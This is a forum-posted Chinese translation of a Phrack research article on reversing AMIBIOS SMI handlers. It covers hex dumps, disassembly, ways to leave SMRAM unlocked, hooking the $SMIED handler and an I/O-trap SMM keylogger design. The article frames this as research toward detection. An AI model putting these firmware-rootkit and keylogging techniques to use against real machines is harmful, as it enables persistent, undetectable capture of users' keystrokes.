创意安天

 找回密码
 注册创意安天

真正的SMM Rootkit:BIOS SMI处理程序的逆向与钩挂【安天技术公益翻译组译注】

[复制链接]
发表于 2015-7-22 10:06 | 显示全部楼层 |阅读模式
真正的SMM Rootkit:BIOS SMI处理程序的逆向与钩挂

非官方中文译本•安天实验室译注

文档信息
原文名称
A Real SMM Rootkit: Reversing and Hooking  BIOS SMI Handlers
原文作者
Filip Wecherowski
原文发布日期

作者简介

原文发布单位
Phrack Inc.
原文出处
译者
安天技术公益翻译组
校对者
安天技术公益翻译组
免责声明
•       本译文译者为安天实验室工程师,本文系出自个人兴趣在业余时间所译,本文原文来自互联网的公共方式,译者力图忠于所获得之电子版本进行翻译,但受翻译水平和技术水平所限,不能完全保证译文完全与原文含义一致,同时对所获得原文是否存在臆造、或者是否与其原始版本一致未进行可靠性验证和评价。
•       本译文对应原文所有观点亦不受本译文中任何打字、排版、印刷或翻译错误的影响。译者与安天实验室不对译文及原文中包含或引用的信息的真实性、准确性、可靠性、或完整性提供任何明示或暗示的保证。译者与安天实验室亦对原文和译文的任何内容不承担任何责任。翻译本文的行为不代表译者和安天实验室对原文立场持有任何立场和态度。
•       译者与安天实验室均与原作者与原始发布者没有联系,亦未获得相关的版权授权,鉴于译者及安天实验室出于学习参考之目的翻译本文,而无出版、发售译文等任何商业利益意图,因此亦不对任何可能因此导致的版权问题承担责任。
•       本文为安天内部参考文献,主要用于安天实验室内部进行外语和技术学习使用,亦向中国大陆境内的网络安全领域的研究人士进行有限分享。望尊重译者的劳动和意愿,不得以任何方式修改本译文。译者和安天实验室并未授权任何人士和第三方二次分享本译文,因此第三方对本译文的全部或者部分所做的分享、传播、报道、张贴行为,及所带来的后果与译者和安天实验室无关。本译文亦不得用于任何商业目的,基于上述问题产生的法律责任,译者与安天实验室一律不予承担。

真正的SMM Rootkit
BIOS SMI处理程序的逆向与钩挂



目录
  1 –简介
  2 -逆编程系统管理中断(SMI)处理
    2.1 -BIOS固件简述
    2.2 -系统管理模式概述(SMM
    2.3 -从二进制代码中抽取BIOSSMI处理函数
    2.4 -反汇编SMI处理程序
    2.5 -反汇编SMI分配函数
    2.6 -钩挂SMI处理函数
  3 - SMM KEYLOGGER
    3.1 -硬件 I/O 陷阱机制
    3.2 - I/O 陷阱捕获击键事件
    3.3 –SMM keylogger负载
    3.4 -基于 I/O 陷阱的 SMI 处理句柄
    3.5 -多处理器下的keylogger 说明
  4 -建议的检测方法
    4.1 - I/O 陷阱机制检测
    4.2 -计时(timing)检测
  5 – 总结
  6 – 源代码
    6.1 -利用I/O Trap机制的系统管理模式键盘记录
    6.2 -编程 I/O陷阱
    6.3 -检测I/O陷阱SMI键盘记录
  7 – 参考文献




摘要

本篇论文提供的研究详细地说明了,怎样逆向编程并修改BIOS系统硬件中的系统管理中断处理器、以及怎样完成并检测SMM键盘记录。这一研究成果也为利用I/O陷阱的SMM键盘记录提供了证明、为这一键盘记录的检测提供了代码。


简介

这一研究成果为以下内容提供了概述:代码如何在系统管理模式中运行、代码如何被劫持来感染恶意SMI代码。作为案例,我们展示了如何劫持SMI代码以及感染SMM键盘记录负载。

由于 SMM 下的恶意软件,包括 EFI固件下的 SMI 代码安全等方面的内容已经在Heasman的作品中被讨论过,本文将不再就此展开。虽然早在 2008 Sherri Sparks Shawn Embleton 就已经提出了SMM下键盘记录程序SMM keylogger的概念,但作者在细节上提到的信息较少,还是让人难以理解SMI攻击的具体工作原理。

我们利用一种不同于以往使用的技术来开启键盘记录。我们利用现代芯片组提供的I/O 陷阱机制,而不是I/O APIC

我们越来越强烈的感觉到,将来和SMM恶意软件对抗的根本,是掌握SMM固件的内部原理和实现细节。由此,SMM的安全水平才能有所改善。在本文中,我们也说明了一些检测SMI键盘记录器的方法。

我们不会泄露任一允许注入恶意负载至SMM的漏洞。第一个已知的SMM攻击漏洞出现在[smm]中,另一个漏洞出现在[xen_0wn]中。上述二者揭示的都是带有 SMI 处理句柄的 BIOS 系统固件由于配置错误而引起的安全隐患。然而,由于 SMI 句柄内部在细节调试和逆向工程上的难度重重,至今对其的描述仍然很少。本文就是为了填补这一方面的空白,不专门针对某种特定的脆弱性漏洞,而讲述 SMM 恶意代码的注入原理。

应该注意的是,本文只探索一些BIOS 中的 SMI 代码,所使用到的固件都来自于 ASUS(华硕)主板,尤其是基于 Intel P45 硬件的 ASUS P5Q 系列平台。ASUS BIOS 是基于 AMIBIOS 8 实现的,因此我们的工作可以延伸应用到所有使用了 AMI BIOS 固件的 BIOS 平台。而且 SMM作为 x86 架构的特征之一,各种 BIOS SMI 代码实现上的相似性,使得文章的研究结果在不同类型的 BIOS 上也具有较好的可移植性。

逆编程系统管理中断(SMI)处理

BIOS固件简述

重置之后,将内存映射到BIOS固件ROM,从地址0xFFFFFFF0处去的第一条执行指令。该指令被称为“重置向量”,将跳转到BIOS启动块的某个启动代码区。启动块和重置向量的代码都来自BIOSROM

正因为如此,BIOS启动块才将系统余下的BIOS代码从ROM中拷贝到DRAM,这被称为“BIOS影射”机制。影射的BIOS代码和数据段的信息被保存在DRAM1MB以下的低地址内存里。主要的系统BIOS代码都保存在0xE0000 - 0xEFFFF0xF0000 - 0xFFFFF的内存范围。

BIOS固件不仅包含了启动时所需要的代码,也包含了可以再操作系统陨石时和系统“并行”执行的代码。

系统管理模式概述(SMM

从各种内部或外部设备或软件接收到SMI(系统管理中断)后,处理器就从受保护或实际地址模式切换到SMM(系统管理模式)。为了响应SMI,它执行位于SMRAM区域(系统管理RAM)的特殊SMI处理程序,该区域是由BIOS从操作系统中保留的。SMRAM是由多个连续的物理内存区域组成的:地址位于0xA0000 - 0xBFFFF1MB以下的CSEG(兼容段内存);或可以驻留于物理内存中的任何地方的TSEG(高段内存)。

如果CPU不在SMM模式(常规受保护的模式代码)下访问CSEG,则内存控制器将访问转发给显存,而不是DRAM。同样地,硬件不允许对高段内存的非SMM访问。因此,只有当处理器在SMM模式下执行代码时,才允许对SMRAM区域的访问。启动时,系统BIOS固件初始化SMRAM,解压存储在BIOS ROMSMI处理程序,并把它们复制到SMRAM。然后,BIOS固件“锁定”SMRAM,启用芯片组的保护功能,此后,操作系统或任何其他代码就无法对SMI处理程序做任何修改了。

接收到SMI之后,CPU开始在预定义的CPU状态下从SMRAM获取SMI处理程序的指令(以实际模式)。不久之后,现代系统中的SMI代码初始化,加载GDT(全局描述符表)并将CPU切换到保护模式。SMI处理程序可以访问4GB的物理内存。SMI处理程序被执行期间,操作系统执行被暂停,直到它恢复到保护模式,并从SMI中断的点重启操作系统。

支持虚拟机扩展(例如,英特尔VMX)的SMISMM代码的默认处理是:在接收到SMI后,在SMI处理程序执行[intel_man]的整个时间内,保持虚拟机模式。在SMM模式下,没有什么能导致CPU退出到虚拟机根(主机)模式,这意味着虚拟机监视器(VMM)并不控制/虚拟化的SMI处理程序。

很明显,这个SMM代表一个孤立的和“特权”的环境,是恶意软件/rootkit的目标。一旦恶意代码被注入到SMRAM,任何基于操作系统内核或VMM的反病毒软件能够保护系统,也无法从SMRAM上将其删除。

应当注意的是,基于SMMrootkit的第一个研究在文章[smm]中,其次是[phrack_smm];基于SMM的击键记录器和网络后门的概念验证请参阅文章[smm_rkt]

从二进制代码中抽取BIOS SMI处理函数

或许有人认为应该动用“硬件分析器”来参与我们的计划,其实这是一种误解。SMI 处理程序是 BIOS 固件的一部分,和普通的BIOS代码一样,也可以从中将其反汇编出来。Pinczakko 的书中,讲述了Award and AMI BIOS逆向方面的详细情况,有兴趣的读者可以参考。

有两种简单的方法,从BIOS中转储SMI处理函数:

1)利用某一漏洞漏洞,从保护模式进入SMRAM,并将SMRAM中的所有内容,尤其是SEGHigh SMRAM0xA0000-0xBFFFF 等区域转储出来。如果 BIOS 没有锁定 D_LCK 位,可以通过DuflotBSDaemon介绍的修改SMRAMC PCI配置寄存器的方式转储。
如果不幸的是,BIOS锁定了SMRAMBIOS固件看上去也无懈可击,那就只有修改 BIOS,令其不会设置D_LCK位这一条路了。将修改的程序重刷回BIOSROM,这样再启动时,SMRAM就不会被锁定了。不过这样做首先要确定 BIOS 不需要数字签名(digitally signed),而且目前几乎没有主板会使用带数字签名的非 EFIBIOS 固件。

这里,有必要提一下BIOS设置D_LCK位的方法。通常情况下,BIOS都倾向于使用0xCF8/0xCFC端口,通过合法的I/O访问,设置相关的 PCI 配置寄存器。BIOS 首先将0x8000009C写入到0xCF8的地址端口,然后再将0x1A的数值写入到0xCFC的数据端口,设置 SMRAMC 寄存器就可以锁定 SMRAM了。

2)相对前者而言,另外一种方法要简单一些,不需要访问运行时的SMRAM数据。
BIOS开发商的网站下载最新的,或者使用闪存编程器件从BIOSROM中提取固件的二进制代码。我们针对的ASUS P5Q主板就是要下载P5Q-ASUS-PRO-1613.ROM文件。

大多数的 BIOS 固件都包含了主BIOS模块,压缩的SMI处理句柄就位于其中,利用开发商提供的提取/解压工具打开BIOS主模块。由于ASUS BIOS是基于AMI BIOS的,我们使用 AMIBIOS BIOS Module Manipulation Utility MMTool.exe 从中抽取主模块。在MMTool中打开下载的.ROM文件,单击“SingleLink Arch BIOS”抽取模块(ID=1Bh),然后检查“In uncompressed form”选项,最后保存,就得到了包含 SMI 处理句柄的主BIOS模块。 BIOS 模块抽取完成,就可以用HIEWIDA Pro等工具开始我们的SMI反汇编之旅了。所以我们跳到反汇编SMI处理器硬件部分。

反汇编SMI处理程序

我们注意到,在ASUS/AMI BIOS 中使用的是一个结构体数组来描述 SMI 的处理函数。数组中的每一个入口项都有“$SMIxx”的签名,其中“xx”字符指明了具体的 SMI 处理函数。

下图显示的是基于 P45 芯片组 ASUS P5QSE 主板的 AMIBIOS 8 所使用的 SMI 分配表数据。

00065CB0:  00 24 534D-49 43 41 00-00 70 B4 00-40 BF 07 00  $SMICA  p_ @.  
00065CC0: 40 20 6E C8-A8 4B 6E C8-A8 24 53 4D-49 53 53 00  @ n..Kn..$SMISS
00065CD0: 00 B1 B4 00-40 B4 B4 00-40 91 85 C8-A8 B5 85 C8   +_ @__ @':...:.
00065CE0: A8 24 53 4D-49 50 41 00-00 A8 87 C8-A8 B9 87 C8  .$SMIPA .+...+.
00065CF0: A8 B4 88 C8-A8 1C 89 C8-A8 24 53 4D-49 53 49 00  .__.. %..$SMISI
00065D00: 00 B5 B4 00-40 C7 B4 00-40 63 9F C8-A8 7B 9F C8   ._ @._ @c_..{_.
00065D10: A8 24 53 4D-49 58 35 00-00 35 DE 00-40 38 DE 00  .$SMIX5 5. @8.
00065D20: 40 BE 9F C8-A8 D2 9F C8-A8 24 53 4D-49 42 50 00  @__..._..$SMIBP
00065D30: 00 E4 E0 00-40 F6 E0 00-40 5A A6 C8-A8 80 A6 C8   .. @.. @Z..._..
00065D40: A8 24 53 4D-49 53 53 00-00 01 E1 00-40 14 E1 00  .$SMISS  . @ .
00065D50: 40 A0 A6 C8-A8 C6 A6 C8-A8 24 53 4D-49 45 44 00  @........$SMIED
00065D60: 00 8D E3 00-40 90 E3 00-40 DF A7 C8-A8 F2 A7 C8   _. @_. @.......
00065D70: A8 24 53 4D-49 46 53 00-00 91 E3 00-40 94 E3 00  .$SMIFS '. @".
00065D80: 40 41 A8 C8-A8 53 A8 C8-A8 24 53 4D-49 50 54 00  @A...S...$SMIPT
00065D90: 00 29 E8 00-40 39 E8 00-40 21 AA C8-A8 33 AA C8   ). @9. @!...3..
00065DA0: A8 24 53 4D-49 42 53 00-00 55 E8 00-40 58 E8 00  .$SMIBS U. @X.
00065DB0: 40 D0 AA C8-A8 12 AB C8-A8 24 53 4D-49 56 44 00  @.... <..$SMIVD
00065DC0: 00 A3 E8 00-40 A6 E8 00-40 CD AB C8-A8 DD AB C8   _. @.. @.<...<.
00065DD0: A8 24 53 4D-49 4F 53 00-00 A7 E8 00-40 AA E8 00  .$SMIOS .. @..
00065DE0: 40 CC AC C8-A8 E7 AC C8-A8 24 53 4D-49 42 4F 00  @........$SMIBO
00065DF0: 00 AB E8 00-40 AE E8 00-40 F7 AC C8-A8 FB AC C8   <. @R. @.......
00065E00: A8 24 44 45-46 FF 00 01-00 AF E8 00-40 B2 E8 00  .$DEF.  .. @_.
00065E10: 40 9C B3 C8-A8 A7 B3 C8-A8 53 53 44-54 13 06 00  @__..._..SSDT   
ASUS B50A 笔记本的 Intelmobile GM45 express ICH9M 芯片组的分配表则如下图所示,具有更多的 SMI 处理函数:

0007BE90: 24 53 4D 49-54 44 00 00-92 6D EA 47-9B 6D EA 47  $SMITD 'm.G>m.G
0007BEA0: 10 6B 66 A8-11 6B 66 A8-24 53 4D 49-54 43 00 00   kf. kf.$SMITC  
0007BEB0: 30 7E 66 A8-39 7E 66 A8-3A 7E 66 A8-5F 7E 66 A8  0~f.9~f.:~f._~f.
0007BEC0: 24 53 4D 49-43 41 00 00-B0 89 EA 47-E9 08 EA 47  $SMICA .%.G. .G
0007BED0: 70 81 66 A8-9B 81 66 A8-24 53 4D 49-53 53 00 00  p_f.>_f.$SMISS  
0007BEE0: F1 89 EA 47-F4 89 EA 47-B8 95 66 A8-D1 95 66 A8  .%.G.%.G..f...f.
0007BEF0: 24 53 4D 49-53 49 00 00-E4 18 32 5E-F6 18 32 5E  $SMISI . 2^. 2^
0007BF00: 96 97 66 A8-B4 97 66 A8-24 53 4D 49-58 35 00 00  --f._-f.$SMIX5  
0007BF10: 49 A5 EA 47-4C A5 EA 47-92 9B 66 A8-A6 9B 66 A8  I_.GL_.G'>f..>f.
0007BF20: 24 53 4D 49-42 4E 00 00-96 A7 EA 47-A5 A7 EA 47  $SMIBN -..G_..G
0007BF30: 9F A1 66 A8-B7 A1 66 A8-24 53 4D 49-42 50 00 00  _.f...f.$SMIBP  
0007BF40: A6 A7 EA 47-B1 A7 EA 47-79 A3 66 A8-9F A3 66 A8  ...G+..Gy_f.__f.
0007BF50: 24 53 4D 49-45 44 00 00-49 AA EA 47-4C AA EA 47  $SMIED I..GL..G
0007BF60: 10 A4 66 A8-23 A4 66 A8-24 53 4D 49-46 53 00 00   .f.#.f.$SMIFS  
0007BF70: 4D AA EA 47-50 AA EA 47-72 A4 66 A8-84 A4 66 A8  M..GP..Gr.f.".f.
0007BF80: 24 53 4D 49-50 54 00 00-E1 B7 EA 47-F1 B7 EA 47  $SMIPT ...G...G
0007BF90: 0C A6 66 A8-1E A6 66 A8-24 53 4D 49-42 53 00 00   .f. .f.$SMIBS  
0007BFA0: F2 B7 EA 47-FE B7 EA 47-C0 A6 66 A8-4D A7 66 A8  ...G...G..f.M.f.
0007BFB0: 24 53 4D 49-42 4F 00 00-FF B7 EA 47-02 B8 EA 47  $SMIBO ...G ..G
0007BFC0: 08 A8 66 A8-0C A8 66 A8-24 53 4D 49-43 4D 00 00   .f. .f.$SMICM  
0007BFD0: 5D AD 66 A8-60 AD 66 A8-EF AD 66 A8-F1 AD 66 A8  ]-f.`-f..-f..-f.
0007BFE0: 24 53 4D 49-4C 55 00 00-91 AE 66 A8-94 AE 66 A8  $SMILU 'Rf."Rf.
0007BFF0: A8 AE 66 A8-B5 AE 66 A8-24 53 4D 49-41 42 00 00  .Rf..Rf.$SMIAB  
0007C000: 4D B0 66 A8-50 B0 66 A8-54 B0 66 A8-67 B0 66 A8  M.f.P.f.T.f.g.f.
0007C010: 24 53 4D 49-47 43 00 00-F0 BB 66 A8-F3 BB 66 A8  $SMIGC .>f..>f.
0007C020: F4 BB 66 A8-0A BC 66 A8-24 53 4D 49-50 53 00 00  .>f. _f.$SMIPS  
0007C030: 2C BC 66 A8-32 BC 66 A8-33 BC 66 A8-41 BC 66 A8  ,_f.2_f.3_f.A_f.
0007C040: 24 53 4D 49-50 53 00 00-74 BC 66 A8-7A BC 66 A8  $SMIPS t_f.z_f.
0007C050: 7B BC 66 A8-86 BC 66 A8-24 53 4D 49-47 44 00 00  {_f.+_f.$SMIGD  
0007C060: C0 BD 66 A8-C3 BD 66 A8-C4 BD 66 A8-F6 BD 66 A8  ._f.._f.._f.._f.
0007C070: 24 53 4D 49-43 45 00 00-50 BF 66 A8-62 BF 66 A8  $SMICE P.f.b.f.
0007C080: 72 BF 66 A8-8B BF 66 A8-24 53 4D 49-46 45 00 00  r.f.<.f.$SMIFE  
0007C090: 70 D3 EA 47-7F D3 EA 47-17 C4 66 A8-0C D9 66 A8  p..G..G .f. .f.
0007C0A0: 24 53 4D 49-49 4C 00 00-50 D9 66 A8-55 D9 66 A8  $SMIIL P.f.U.f.
0007C0B0: 5B D9 66 A8-61 D9 66 A8-24 53 4D 49-43 47 00 00  [.f.a.f.$SMICG  
0007C0C0: B0 DA 66 A8-B6 DA 66 A8-EB DA 66 A8-17 DB 66 A8  ..f...f...f. .f.
0007C0D0: 24 44 45 46-FF 00 01 00-84 E3 EA 47-87 E3 EA 47  $DEF.  "..G+..G
0007C0E0: 86 E9 66 A8-91 E9 66 A8-00 00 00 01-00 00 00 00  +.f.'.f.        

作为练习,下载.ROM文件并找到EeePCBIOS出现的是哪一个SMI处理程序。

两个表中的最后都有一个相同的结构,即带有“$DEF”的签名,表示没有合适的 SMI 处理程序来响应当前请求时的默认处理例程。一般情况下,默认的处理例程只是清空系统的SMI状态标志。

从上面的分配表中,我们可以重建每一个入口项的数据结构:

_smi_handlerSTRUCT
  signature           BYTE     '$SMI',?,?
  some_flags        WORD   0
  some_ptr0         DWORD ?
  some_ptr1         DWORD ?
  some_ptr2         DWORD ?
  handle_smi_ptr DWORD
_smi_handlerENDS

分配表中的每一个入口结构都以“$SMI”的签名开始,随后的 2 个字节指出具体的函数名称,而只有默认句柄的签名是“$DEF”。

每个结构中还包含了多个指向SMI 处理函数的指针,最为重要的是最后的四个字节——handle_smi_ptr 变量,指向了对应的 SMI 处理函数。

反汇编SMI分配函数

BIOS 中有一个特殊的 SMI 分配函数,我们将其命名为“dispatch_smi”。它能遍历分配表中的所有入口,并调用 handle_smi_ptr 指向的处理函数。如果没有任何处理函数能够响应当前的 SMI 中断信号,它将调用最后的$DEF 例程。

下面的代码就是我们从ASUS P5Q 主板反汇编得到的handle_smi函数:

0004AF71:51                           push        cx
0004AF72: 50                           push        ax
0004AF73: 53                           push        bx
0004AF74: 1E                           push        ds
0004AF75: 06                           push        es
0004AF76: 9A0101C8A8                   call        0A8C8:00101  ---X
0004AF7B: 07                           pop         es
0004AF7C: 1F                           pop         ds
0004AF7D: C606670300                   mov         b,[0367],000
0004AF82: 803E670301                   cmp         b,[0367],001 ;" "
; je _done_handling_smi
0004AF87: 7438                         je          00004AFC1  ---> (1)
;
; load CX with number of supported SMIhandlers
; done handling SMI if 0
;
0004AF89: 8B0E6003                     mov         cx,[0360]
; jcxz _done_handling_smi
0004AF8D: E332                         jcxz        00004AFC1  ---> (2)
_iterate_thru_handlers:
;
; load GS with index of SMI handler tablesegment in GDT
;递减待尝试的SMI句柄计数值
;
0004AF8F: 6828B4                       push        0B428 ;"_("
0004AF92: 0FA9                         pop         gs
0004AF94: 33FF                         xor         di,di
;
; handle next SMI
;
_handle_next_smi:
0004AF96: 49                           dec         cx
;
;检测 _smi_handler入口结构中的相关标志
;
0004AF97: 658B4506                     mov         ax,gs:[di][06]
0004AF9B: 83E001                       and         ax,001 ;" "
0004AF9E: 7413                         je         00004AFB3  --->  (3)
0004AFA0: 51                           push        cx
0004AFA1: 0FA8                         push        gs
0004AFA3: 57                           push        di
;
;调用分配表中当前入口项handle_smi_ptr指向的处理函数
; _smi_handler entry in the dispatch table
;
0004AFA4: 65FF5D14                     call        d,gs:[di][14]
0004AFA8: 5F                           pop         di
0004AFA9: 0FA9                         pop         gs
0004AFAB: 59                           pop         cx
; jcxz _done_handling_smi
0004AFAC: E313                         jcxz        00004AFC1  ---> (4)
0004AFAE: 83F800                       cmp         ax,000
0004AFB1: 7407                         je          00004AFBA  ---> (5)
0004AFB3: BB1800                       mov         bx,00018 ;"  "
0004AFB6: 03FB                         add         di,bx
;
;尝试下一个SMI处理程序
;
0004AFB8: EBDC                         jmps        00004AF96  ---> (6)
                                                ;_handle_next_smi
0004AFBA: B80000                       mov         ax,00000
0004AFBD: 0BC0                         or          ax,ax
0004AFBF: 75C1                         jne         00004AF82  ---> (7)
;
;没有找到合适的SMI处理例程
;调用默认的处理函数
;
_done_handling_smi:
0004AFC1: 5B                          pop         bx
0004AFC2: 58                           pop         ax
0004AFC3: 59                           pop         cx
0004AFC4: 5F                           pop         di
0004AFC5: 0FA9                         pop         gs
0004AFC7: CB                           retf

钩挂SMI处理函数

基于上述的讨论,有多重钩挂SMI 处理函数的方法,可以添加一个新的 SMI 处理程序;可以给已有的句柄打个补丁,加上新的功能。两种方法在本质上并没有太多差异,所以两种情况我们都会给出必要的介绍:

1SMI 分配表中添加自己的 SMI 处理函数。

要加入新的函数,必须先在分配表中建立一个新的入口表项,我们将其取名为“$SMIaa”,如下图所示:

00065E00: A8 24 53 4D-49 61 61 00-00 AF E8 00-40 B2 E8 00  .$SMIaa .. @_.

00065E10: 40 9C B3 C8-A8 A7 B3 C8-A8 53 53 44-54 13 06 00  @__..._..SSDT   

2)给已有的SMI处理句柄打补丁。

我们来详细的解释一下给现有的SMI处理句柄打补丁的方法。

虽然现有的 BIOS 都是基于同样的AMIBIOS 8 的核心,但不同制造商根据主板、芯片组型号,甚至移动版和服务器版硬件的不同,其内部 SMI 处理函数的数目也不尽相同。SMI处理函数主要是用于硬件的管理功能,不同系统对 BIOS 中的 SMI 处理有着不同的功能需求。然而,有趣的是,我们发现了一些在任何基于 AMIBIOS 8 BIOS 中都存在的 SMI 处理函数,例如分配表中的$SMICA$SMISS$SMISI$SMIX5$SMIBP$SMIED$SMIFS$SMIBS 等,尤其是默认的$DEF 也名列其中。

首选的方法就是在基于AMIBIOS 8 BIOS 中替换掉一个 SMI 处理函数,例如$SMISSASUS P5Q 主板,$SMISS 处理函数的偏移位于 BIOS 系统代码 000490D3 的地方,下面是其反汇编的代码片段:

handle_smi_ss:
000490D3: 0E                           push        cs
000490D4: E8D8FF                       call        0000490AF  --- (1)
000490D7: B80100                       mov         ax,00001 ;"  "
000490DA: 0F82F400                     jb          0000491D2  --- (2)
000490DE: B81034                       mov         ax,03410 ;"4 "
..
000491CA: 9AFB00C8A8                   call        0A8C8:000FB  ---X
000491CF: B80000                       mov         ax,00000
000491D2: CB                           retf

做逆向分析之后,我们发现这段代码其实是在处理系统的休眠状态请求。如果执意要钩挂和替换该 SMI 函数的话,可能会影响到系统的重要功能,留下不稳定的安全隐患。
系统在没有合适的 SMI 处理函数时,将执行默认的$DEF。如果我们准备注入的代码是当前 BIOS 所不支持的功能,这个默认的处理函数还是可以考虑的。

默认的函数只执行最基本的操作,并且占用的空间有限,严格说来并非我们理想的钩挂目标。最好是要找一个占用空间较多,在所有 BIOS 中又不执行什么具有重大意义功能的SMI 处理函数。
这看起来不太可能,但实际上确实有那么一个。先来看看$SMIED,它处理的是由写入数据 0xDE APMC 端口 0xB2 而产生的 SMI 中断:
   _outpd( 0xb2, 0xDE );
看起来它确实没做什么有意义的事情,但在我们检查过的每个BIOS中都有其身影存在。至于作用我们还不是很清楚,猜测应该是作调试工作。

首先我们要在 BIOS 的二进制代码中找到$SMIED处理函数的位置。定位操作十分简单,只要找到主例程在 SMI 分配表中的入口项,通过 SMI_HANDLER 结构的 handle_smi_ptr 指针就可以了。
现在我们已经得到了上述$SMISS函数的位置,在系统 BIOS代码 0x000490D3 偏移的地方。分配表中$SMISS 入口项的最后 4 个字节为“ B5 85 C8 A8 ”,即handle_smi_ptr=0xA8C885B5,是$SMISS 处理函数的线性地址。$SMIED入口项的最后 4 个字节为“F2 A7 C8A8”,所以 handle_smi_ptr=0xA8C8A7F2。同样是线性地址,前后两个地址间的差值为 0x223D,将其加到$SMISS 的偏移上,我们最终得到了$SMIED 的函数偏移。
0x000490D3 +0x223D = 0x0004B310

其他函数的偏移也可以采用类似的方法求得,例如$DEF SMI处理程序。

这是$SMIED SMI函数的反汇编代码片段:
0004B2FD: 50                           push        ax
0004B2FE: E8CCFD                       call        00004B0CD  --- > (1)
0004B301: 720A                         jb          00004B30D  --- > (2)
0004B303: 3CDE                         cmp         al,0DE
0004B305: 7506                         jne        00004B30D  --- > (3)
0004B307: E8E0FD                       call        00004B0EA  --- > (4)
0004B30A: F8                           clc
0004B30B: 58                           pop         ax
0004B30C: CB                           retf
0004B30D: F9                           stc
0004B30E: 58                           pop         ax
0004B30F: CB                           retf
handle_smi_ed:
0004B310: 0E                           push        cs
0004B311: E8E9FF                       call        00004B2FD  --- > (5)
0004B314: B80100                       mov         ax,00001 ;"  "
0004B317: 7245                         jb          00004B35E  --- > (6)
0004B319: 6660                         pushad
0004B31B: 1E                           push        ds
0004B31C: 06                           push        es
0004B31D: 680070                       push        07000 ;"p "
0004B320: 1F                           pop         ds
0004B321: 33FF                         xor         di,di
0004B323: 6828B4                       push        0B428 ;"_("
0004B326: 07                           pop         es
0004B327: 33F6                         xor         si,si
0004B329: 268B04                       mov         ax,es:[si]
0004B32C: 8905                         mov         [di],ax
0004B32E: 268B04                       mov         ax,es:[si]
0004B331: 3D2444                       cmp         ax,04424 ;"D$"
0004B334: 750                         jne         00004B342 --- > (7)
0004B336: BB0200                       mov         bx,00002 ;"  "
0004B339: 268B4402                     mov         ax,es:[si][02]
0004B33D: 3D4546                       cmp         ax,04645 ;"FE"
0004B340: 7408                         je          00004B34A  --- > (8)
0004B342: 83C602                       add         si,002 ;" "
0004B345: 83C702                       add         di,002 ;" "
0004B348: EBDF                         jmps        00004B329  --- > (9)
0004B34A: 268B00                       mov         ax,es:[bx][si]
0004B34D: 8901                         mov         [bx][di],ax
0004B34F: 83C302                       add         bx,002 ;" "
0004B352: 83FB0A                       cmp         bx,00A ;" "
0004B355: 75F3                         jne         00004B34A  --- > (A)
0004B357: 07                           pop         es
0004B358: 1F                           pop         ds
0004B359: 6661                         popad
0004B35B: B80000                       mov         ax,00000
0004B35E: CB                           retf

上述这个“调试”处理函数只做了一件事,就是将SMI分配表从0x0B428:[si]拷贝到0x07000:[di]的位置中。

在开始新的一节之前,我们还需要回顾一下可以用于在用户击键时,调用记录程序的相关技术:

  • 将键盘的硬件终端(IRQ#01)导向SMI。
  • 采用键盘控制器数据端口访问时的I/O陷阱机制。


我们在本文中使用了不同于前者的I/O陷阱技术,这项技术最初是BIOS模拟PS/2键盘的用途,在下一节中将详细的说明其工作原理。

SMM键盘记录程序

硬件I/O陷阱机制

实现一个内核级的键盘记录程序,其中的一个方法就是挂钩终端描述表(IDT)中的调试陷阱处理函数,并且设置调试寄存器DR0-DR3,用数据端口0x60捕获系统的键盘记录。
同样,我们也可通过键盘I/O端口60/64陷入SMI的方法。例如,我们参考AMIBIOS的设计白皮书。里面有这样的一段描述:

[snip]
2.5.4 端口64/60模拟
该选项尅开启或关闭60h/64h端口的陷阱功能。60h/64h端口陷阱允许BIOSUSB键盘和鼠标提供基于PS/2的完全支持,在MicrosoftWindows NT操作系统和支持多语言键盘上尤为重要。”
[/snip]
所以我们还需要查看具体的硬件配置情况。AMD开发手册中的“SMM I/O Trap and I/O Restart”一节,和Intel手册对该机制都有详细的介绍。
I/O陷阱机制允许陷入SMI后,在SMI处理程序内部使用IN OUT指令来访问系统的任一I/O端口。而设计该机制的目的是为了在断电时,通过I/O端口来开启某些设备。除此之外,I/O陷阱也可用于在SMI句柄中模拟60h/64h的键盘端口。从某种程度上说,它和上述的调试陷阱机制有些类似,用陷阱捕获对I/O端口的访问,但是并非调用操作系统内核的调试陷阱处理句柄,而是产生一个SMI中断,让CPU进入SMM模式,执行I/O陷阱的SMI处理函数。

当处理器陷入I/O指令时,进入SMM,它会把I/O指令陷入时的所有信息保存在SMM=存储状态营社区的I/O状态域中,下图是该区域的数据分布情况:

I/O State Field(SMBASE + 0x8000 + 0x7FA4):
+----------+----------+----------+------------+--------+
| 31    16 | 15    8 | 7      4 | 3        1 | 0      |
+----------+----------+----------+------------+--------+
| I/O Port |Reserved | I/O Type | I/O Length | IO_SMI |
+----------+----------+----------+------------+--------+
- If set,IO_SMI (bit 0) indicates that this is a I/O Trap SMI.
- I/O Length(bits [1:3]) indicates if I/O access was byte (001b), word
  (010b) or dword (100b).
- I/O Type(bits [4:7]) indicate type of I/O instruction, "IN imm"
  (1001b), "IN DX" (0001b), etc.
- I/O Port(bits [16:31]) contain I/O port number that has been accessed.
正如我们在下一节所见,SMIKeylogger需要更新保存的EAS域在SMM存储状态映射中。特别地,SMI Keylogger检查状态域为0x7FA4偏移的I/O是否含有0x00600013值:

mov esi, SMBASE
mov ecx, dwordptr fs:[esi + 0xFFA4]
cmp ecx,0x00600013
jnz _not_io_smi
上述检测是简化的形式,SMMKeylogger还需要检测I/O状态域中I/O类型和I/O长度等其他因素。

    I/O陷阱机制允许我们在任一I/O端口的软硬件交互读写操作时陷入SMI处理例程,现在需要注意的只是0x60数据端口,实现敲击键盘时的I/O陷入的步骤如下:

  • 当按下键盘时,键盘控制器产生一个硬件中断;
  • 接收到键盘中断之后,APIC调用IDT中的键盘哈总段处理程序;
  • 键盘中断处理程序通过端口0x60从键盘控制器的缓冲区中读取按键扫描码;
  • 芯片组引起端口0x60的读取陷阱,产生信号通知I/O陷阱SMI;
  • 在SMM模式下,Keylogger的SMI处理句柄相应SMI中断,处理I/O陷阱SMI;
  • 推出SMM时,Keylogger的SMI处理句柄将结果返回给0x60端口的读取指令,交由内核的终端句柄做进一步处理。


上述的第6步操作,将扫描码返回到OS的键盘中断处理程序,在I/O陷阱和I/O APIC下的实现是有所不同的。如果适用APIC来出发SMI,则SMI Keylogger必须再次向键盘控制器的缓冲区中填充扫描码,以待操作系统再次读取,做进一步处理。
